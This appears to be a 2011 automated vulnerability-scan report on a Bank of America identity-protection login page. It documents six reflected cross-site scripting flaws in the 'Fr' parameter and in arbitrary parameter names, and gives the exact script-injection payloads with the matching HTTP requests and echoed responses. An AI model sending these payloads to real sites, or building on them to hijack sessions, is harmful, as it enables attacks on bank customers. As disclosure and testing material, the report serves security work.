XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, idprotect.bankofamerica.com

Report generated by XSS.CX at Thu Oct 06 09:20:32 CDT 2011.

Loading

1. Cross-site scripting (reflected)

1.1. https://idprotect.bankofamerica.com/code.asp [Fr parameter]

1.2. https://idprotect.bankofamerica.com/code.asp [Fr parameter]

1.3. https://idprotect.bankofamerica.com/code.asp [Fr parameter]

1.4. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]

1.5. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]

1.6. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]

2. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://idprotect.bankofamerica.com/code.asp [Fr parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The value of the Fr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62107"><script>alert(1)</script>67327d707a1 was submitted in the Fr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /code.asp?Fr=Re62107"><script>alert(1)</script>67327d707a1 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8426
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:09 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:09 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<form name="frmCS" method="post" action="../ASP/CheckPromo.asp?Fr=Re62107"><script>alert(1)</script>67327d707a1">
...[SNIP]...

1.2. https://idprotect.bankofamerica.com/code.asp [Fr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The value of the Fr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27527"-alert(1)-"a107dd2d373 was submitted in the Fr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /code.asp?Fr=Re27527"-alert(1)-"a107dd2d373 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8366
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:11 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:11 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<!--
                               // set variables for the JS functions below (text, href, onclick_evt, onmouseover_evt, onmouseout_evt, tabindex, title)
                               create_safebutton("GO", "", "PromoCS(document.frmCS,'Fr=Re27527"-alert(1)-"a107dd2d373'); return false;", "self.status='GO';return true;", "self.status='';return true;", "1", "GO");
                               //-->
...[SNIP]...

1.3. https://idprotect.bankofamerica.com/code.asp [Fr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The value of the Fr request parameter is copied into an HTML comment. The payload bfa58--><script>alert(1)</script>47bb9f2731 was submitted in the Fr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /code.asp?Fr=Rebfa58--><script>alert(1)</script>47bb9f2731 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8426
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:13 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:13 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<a href="JavaScript:Check_Promo" onClick="PromoCS(frmCS,'Fr=Rebfa58--><script>alert(1)</script>47bb9f2731');return false;" tabindex="2">
...[SNIP]...

1.4. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 6bcbe--><script>alert(1)</script>e63795b5b6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /code.asp?6bcbe--><script>alert(1)</script>e63795b5b6b=1 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8418
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:12 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:12 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<a href="JavaScript:Check_Promo" onClick="PromoCS(frmCS,'6bcbe--><script>alert(1)</script>e63795b5b6b=1');return false;" tabindex="2">
...[SNIP]...

1.5. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eba8f"><script>alert(1)</script>4f34154dc1b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /code.asp?eba8f"><script>alert(1)</script>4f34154dc1b=1 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8414
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:09 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:09 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<form name="frmCS" method="post" action="../ASP/CheckPromo.asp?eba8f"><script>alert(1)</script>4f34154dc1b=1">
...[SNIP]...

1.6. https://idprotect.bankofamerica.com/code.asp [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f222a"-alert(1)-"d254ee0790e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /code.asp?f222a"-alert(1)-"d254ee0790e=1 HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8354
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:11 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:11 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...
<!--
                               // set variables for the JS functions below (text, href, onclick_evt, onmouseover_evt, onmouseout_evt, tabindex, title)
                               create_safebutton("GO", "", "PromoCS(document.frmCS,'f222a"-alert(1)-"d254ee0790e=1'); return false;", "self.status='GO';return true;", "self.status='';return true;", "1", "GO");
                               //-->
...[SNIP]...

2. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idprotect.bankofamerica.com
Path:   /code.asp

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /code.asp?Fr=Re HTTP/1.1
Host: idprotect.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8254
Content-Type: text/html
Expires: Wed, 05 Oct 2011 21:35:03 GMT
X-Powered-By: ASP.NET
Date: Thu, 06 Oct 2011 14:15:03 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
<!--<title>Bank of America Identity Theft Protection Login</title>-->

<title>Bank of America | Identi
...[SNIP]...

Report generated by XSS.CX at Thu Oct 06 09:20:32 CDT 2011.